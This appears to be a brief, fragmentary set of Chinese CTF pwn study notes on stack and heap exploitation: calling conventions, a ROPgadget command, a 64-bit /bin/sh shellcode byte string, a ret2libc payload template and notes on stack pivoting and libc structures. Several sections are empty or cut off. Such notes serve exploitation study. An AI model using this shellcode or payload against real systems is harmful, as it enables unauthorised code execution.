# 栈
# 传参
# 64 位
参数 | 寄存器 |
---|---|
1 | rdi |
2 | rsi |
3 | rdx |
4 | rcx |
5 | r8 |
6 | r9 |
7+ | 从右向左压入栈中 |
# ROPgadget
ROPgadget --binary pwn --only 'pop|ret' |
# shellcode
64 位
shellcode = b"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" |
# ret2libc
# 64 位
写 system 和 binsh 时可能需要在前面加 ret
payload = offset * b'a' + p64(ret) + p64(prdi) + p64(bs_a) + p64(sys_a) |
# 栈迁移
栈迁移大致在以下情况使用:
- 栈空间太小不足以用来攻击
- 为了利用缓冲区溢出攻击某些地址(待验证)
- 迁移至.bss 段上确保权限足够
函数返回时将栈中旧 ebp 弹入 ebp 寄存器,而对旧 ebp 进行伪造可以将栈底迁移至构造的 fake_stage,再次利用 ROP 执行 leave, ret 可以将 ebp 弹入 esp,实现完整的栈迁移。
# ret2dlresolve
# 汇编
lea eax, [addr] //将addr的
# 全局变量位置
# libc.so
main_arena
: 存放各种 bin 的头_IO_list_all
:
# 程序
fini_array
# 堆
- tcache 存放 tcache bin
_IO_FILE_plus
: fopen 打开的文件